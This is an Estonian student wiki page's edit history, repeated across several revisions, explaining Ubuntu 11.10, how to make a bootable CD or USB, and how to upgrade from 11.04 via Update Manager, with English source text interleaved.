* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T15:58:10Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

*Juhendid tõlkis eesti keelde autor.
* Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T15:56:26Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

*http://www.ubuntu.com/download/ubuntu/download aadressil vajutades nuppu ''Show me how" kuvatakse detailne juhend kuidas buuditavat CD'd või UDB pulka luua. Kõigi nelja punkti kohta on lisajuhend - kuidas patritsioone teha jne.

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-

Kuidas paigaldada Ubuntu 11.10:

http://www.ubuntu.com/download/ubuntu/download

*Juhendid tõlkis eesti keelde autor.
*** Kui on aega ja kannatust, siis on võimalik Ubuntu plaat tellida aadressilt: http://www.ubuntu.com/download/ubuntu/cds , CD toimetatakse kätte posti teel.

Ubuntu 11.10

2011-11-25T15:45:42Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]

Kui buuditav CD või USB pulk on valmis tuleb see lihtsalt arvutiga ühendada, arvuti taaskäivitada ning kuvatavaid instruktsioone jälgida.

[[File:gvrub4.jpg]]

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-server

Ubuntu 11.10

2011-11-25T15:42:45Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

[[File:gvub2.jpg]]

Ubuntut on võimalik proovida ilma installimata. Kui buuditav CD või USB pulk on valmis, siis saab buutida otse CD'lt või USB pulgalt ilma, et peaks oma arvuti sätteid muutma.

[[File:gvrub3.jpg]]
[[File:gvrub4.jpg]]

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-server

Ubuntu 11.10

2011-11-25T15:38:42Z

Gratsep:

Teema: Gertti-Vena Rätsep A-21 (2011 sügis)
=Ubuntu 11.10=

Koostamisel

==Ubuntust üldiselt==

Ubuntu Linux on Linuxi distributsioon, mis kasutab Debiani paketihaldust ja mis on kasutamise lihtsustamiseks teinud kindla programmide valiku: üks aknahaldur – Unity, üks veebilehitseja – Firefox, üks meiliprogramm – Thunderbird jne. Seetõttu mahub Ubuntu Linux ära ühe CD peale. Samas on võimalik kasutada enamikke Debiani jaoks väljalastud pakke oma lemmikprogrammi installimiseks. Võimalik on kasutada nii tasuta kommuuni toetust kui ka erinevaid tasulisi tugikanaleid.

Ubuntu on suulu ja koosa keeltest pärinev sõna, mida tõlgitakse kui "inimlikkus teiste suhtes", usk kõigi inimeste seotusse/ühtsusse. Ning Ubuntu Linux püüab samu põhimõtteid järgida ka tarkvara loomisel. Ubuntu arendajate meelest peab tarkvara olema tasuta, ta peab olema kasutajate oma keeles ja kasutajatel peab olema võimalus muuta tarkvara vastavalt oma äranägemisele.

Ubuntut on hinnatud kui kõige populaarsemat Linuxi distributsiooni, mida pruukis juba 2007. aastal umbes 30% kõigist Linuxi kasutajatest

==Ubuntu 11.04 vs 11.10==

==Kuidas paigaldada Ubuntu 11.10==

Kõige uuema distributsiooni alla laadimiseks vajuta suurt nuppu mille peal on kiri "''Start download''". Ubuntu 11.10 installimiseks on vaja kas CD'd või USB pulka.

Ubuntu pikaajalise toega (''long-term support'') distributsioonid on 3 aastase kasutajatoega. See sobib hästi neile kellel on vaja stabiilsemat platformi.

''Click the big orange button to download the latest version of Ubuntu. You will need to create a CD or USB stick to install Ubuntu.''

''Our long-term support (LTS) releases are supported for three years on the desktop. Perfect for organisations that need more stability for larger deployments.''

[[File:gvrub1.jpg]]

Kui alla laadimine on lõppenud siis peab looma buutivata (''bootable'') CD või USB pulga.
Miks on CD vajalik?
Buuditava CD loomine annam võimaluse proovida Ubuntut ilma seda installimata. Nii on võimalik Ubuntut installida või lihtsalt CD'lt buutida ja kasutada siis kui vaja.

''Once you've finished downloading your file, you'll need to create a CD or USB drive.
Why do I need a CD?
Burning a CD means that you can trial Ubuntu without affecting your current system. And you can install it alongside or instead of your system whenever you're ready.''

[[File:gvub2.jpg]]
[[File:gvrub3.jpg]]
[[File:gvrub4.jpg]]

==Kuidas 11.04 üle minna 11.10 peale ('''upgrade''')==

Ava ''Update Manager (System > Administration > Update Manager): ''

''Start the Update Manager (System > Administration > Update Manager):''

[[File:gvr1.jpg]]

''Update Manager'' peaks näitama, et uus distributsioon (11.10) on väljas. Kliki ''Upgrade'' nupule, et alustada distributsioni uuendust.

''The Update Manager should show that a new distribution release (11.10) is available. Click on the Upgrade button to start the distribution upgrade:''

[[File:gvr2.jpg]]

Kuvatakse uus aken Ubuntu 11.10 informatiooniga. Kliki uuesti ''Upgrade'' nupule.

''A window with the release notes for 11.10 comes up. Click on Upgrade again:''

[[File:gvr3.jpg]]

Distributsiooni uuendamise vahendid laetakse alla. Peale seda sisesta oma parool:

''The upgrade tool is now being downloaded. Afterwards, type in your password:''

[[File:gvr4.jpg]]

Distributsiooni uuemdamine valmistatakse ette:

''The upgrade is being prepared:''

[[File:gvr5.jpg]]

Kliki ''Start Upgrade '', et alustada uuendamise protsessiga.

''Click on Start Upgrade to finally begin with the upgrade process:''

[[File:gvr6.jpg]]

UUendusi laetakse alla...

''The upgrade packages are now being downloaded...''

[[File:gvr7.jpg]]

... ja installitakse. See võib aega võtta - varu selleks aega.

''... and installed. This can take some time, so please be patient.''

[[File:gvr8.jpg]]

Uuendamise protsessi lõpus peaks vanad paketid ära kustutama.

''At the end of the upgrade process, you should remove obsolete packages:''

[[File:gvr9.jpg]]

[[File:gvr10.jpg]]

Uuenduste läbiviimiseks on vajalik arvuti taaskäivitamine. Seega vajuta ''Restart Now:''

''The system needs to be rebooted to complete the upgrade, therefore click on Restart Now:''

[[File:gvr11.jpg]]

Sisse logides kuvab Ubuntu 11.10 vaikimisi uue Unity teema (''desptopi'')

''When you log in, Ubuntu 11.10 will by default start the new Unity desktop:''

[[File:gvr12.jpg]]

Tere tulemast uude Ubuntu 11.10!

''Welcome to your new your new Ubuntu 11.10 desktop:''

[[File:gvr13.jpg]]

==Kuidas varasemalt kui 11.04 üle minna 11.10 peale ('''upgrade''')==

== Kasutatud materjalid ==

Ubuntust üldiselt:

http://et.wikipedia.org/wiki/Ubuntu

Kuidas 11.04 üle minna 11.10 peale ('''upgrade'''):

http://www.howtoforge.com/how-to-upgrade-ubuntu-11.04-natty-narwhal-to-11.10-oneiric-ocelot-desktop-and-server

File:Gvrub3.jpg

2011-11-25T15:22:15Z

Gratsep:

File:Gvrub4.jpg

2011-11-25T15:22:04Z

Gratsep:

File:Gvub2.jpg

2011-11-25T15:21:48Z

Gratsep:

File:Gvrub1.jpg

2011-11-25T15:21:37Z

Gratsep:

Ubuntu 11.10

2011-11-25T14:56:02Z

Gratsep:

Ubuntu 11.10

2011-11-25T14:55:07Z

Gratsep:

Ubuntu 11.10

2011-11-25T14:48:43Z

Gratsep:

Ubuntu 11.10

2011-11-24T23:54:20Z

Gratsep:

Ubuntu 11.10

2011-11-24T23:41:58Z

Gratsep:

Ubuntu 11.10

2011-11-24T23:37:43Z

Gratsep:

Ubuntu 11.10

2011-11-24T23:29:41Z

Gratsep:

Ubuntu 11.10

2011-11-24T23:26:25Z

Gratsep:

File:Gvr9.jpg

2011-11-24T23:18:02Z

Gratsep:

File:Gvr13.jpg

2011-11-24T23:17:25Z

Gratsep:

File:Gvr12.jpg

2011-11-24T23:17:16Z

Gratsep: